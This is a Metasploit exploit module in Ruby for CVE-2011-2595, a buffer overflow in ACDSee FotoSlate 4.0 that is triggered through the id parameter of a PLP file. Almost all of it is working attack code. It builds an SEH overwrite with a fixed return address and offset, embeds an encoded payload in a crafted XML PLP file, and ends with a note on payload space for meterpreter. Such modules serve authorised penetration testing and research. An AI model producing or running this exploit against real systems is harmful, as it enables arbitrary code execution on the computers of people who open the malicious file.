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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'ACDSee FotoSlate PLP File id Parameter Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via
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        a specially crafted id parameter in a String element.  When viewing a malicious
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        PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a
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        buffer and execute arbitrary code. This exploit has been tested on systems such as
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        Windows XP SP3, Windows Vista, and Windows 7.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Parvez Anwar', # Vulnerability discovery
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          'juan vazquez'  # Metasploit module
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2011-2595' ],
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          [ 'OSVDB', '75425' ],
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          [ 'BID', '49558' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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      'Payload'        =>
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        {
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          #'Space'    => 4000,
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          'BadChars' => "\x00\x22"
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        },
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      'Platform' => 'win',
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      'Targets'        =>
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        [
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          [
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            'ACDSee FotoSlate 4.0 Build 146',
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            {
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              'Ret'         => 0x263a5b57, # pop, pop, ret from ipwssl6.dll
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              'Offset'      => 1812,
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              'TotalLength' => 5000
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            }
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          ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-09-12',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.',  'msf.plp']),
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      ])
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  end
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  def exploit
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    overflow = rand_text(target["Offset"])
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    overflow << generate_seh_record(target.ret)
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    overflow << payload.encoded
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    overflow << rand_text_alpha(target["TotalLength"] - overflow.length)
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    plp =<<TEMPLATE
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<ACDFotoSlateDocument15>
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<PageDefinition>
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<Template>
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<Version>3.0</Version>
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<Page>
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<Name>Letter</Name>
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<Properties>
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<String id="#{overflow}"></String>
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<String id="Width">8.500000IN</String>
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<String id="Height">11.000000IN</String>
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<String id="Orientation">Portrait</String>
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<Bool id="AutoRotate">FALSE</Bool>
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<Bool id="AutoFill">FALSE</Bool>
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</Properties>
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<Content>
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<Bool id="UseBGColor">FALSE</Bool>
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<Int id="BGImageType">0</Int>
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<String id="BGImageFile"></String>
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<Int id="BGColor">16777215</Int>
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</Content>
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</Page>
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<ToolList>
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<Group>
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<Tool>
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<Name>Image</Name>
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<Properties>
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<String id="XPos">0.500000IN</String>
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<String id="YPos">0.500000IN</String>
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<String id="Width">7.500000IN</String>
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<String id="Height">10.000000IN</String>
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<Float id="Tilt">0.000000</Float>
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</Properties>
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<Content>
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<Int id="ShapeType">0</Int>
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<Float id="RoundRectX">0.000000</Float>
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<Float id="RoundRectY">0.000000</Float>
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<Bool id="ShrinkToFit">FALSE</Bool>
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<Bool id="AutoRotate">FALSE</Bool>
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<Float id="BorderWidth">0.000000</Float>
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<Bool id="UseBGColor">FALSE</Bool>
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<Int id="BGColor">8454143</Int>
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<Bool id="DropShadow">FALSE</Bool>
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<Int id="DSColor">0</Int>
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<Bool id="BevelEdge">FALSE</Bool>
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<Bool id="Border">FALSE</Bool>
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<Int id="BorderColor">16711680</Int>
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<Bool id="IsLocked">FALSE</Bool>
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</Content>
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</Tool>
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</Group>
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</ToolList>
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</Template>
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<PageContent>
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<Version>3.0</Version>
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<Page>
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<Name>Letter</Name>
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<Content>
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<Bool id="UseBGColor">FALSE</Bool>
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<Int id="BGImageType">0</Int>
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<String id="BGImageFile"></String>
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<Int id="BGColor">16777215</Int>
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</Content>
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</Page>
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<ToolList>
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<Group>
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<Tool>
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<Name>Image</Name>
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<Content>
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<Int id="ShapeType">0</Int>
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<Float id="RoundRectX">0.000000</Float>
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<Float id="RoundRectY">0.000000</Float>
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<Bool id="ShrinkToFit">FALSE</Bool>
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<Bool id="AutoRotate">FALSE</Bool>
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<Float id="BorderWidth">0.000000</Float>
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<Bool id="UseBGColor">FALSE</Bool>
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<Int id="BGColor">8454143</Int>
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<Bool id="DropShadow">FALSE</Bool>
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<Int id="DSColor">0</Int>
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<Bool id="BevelEdge">FALSE</Bool>
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<Bool id="Border">FALSE</Bool>
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<Int id="BorderColor">16711680</Int>
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<Bool id="IsLocked">FALSE</Bool>
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</Content>
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</Tool>
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</Group>
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</ToolList>
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</PageContent>
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</PageDefinition>
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</ACDFotoSlateDocument15>
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TEMPLATE
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(plp)
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  end
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end
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=begin
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After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid
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using a long buffer in order to avoid the meterpreter possibly being broken.
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=end
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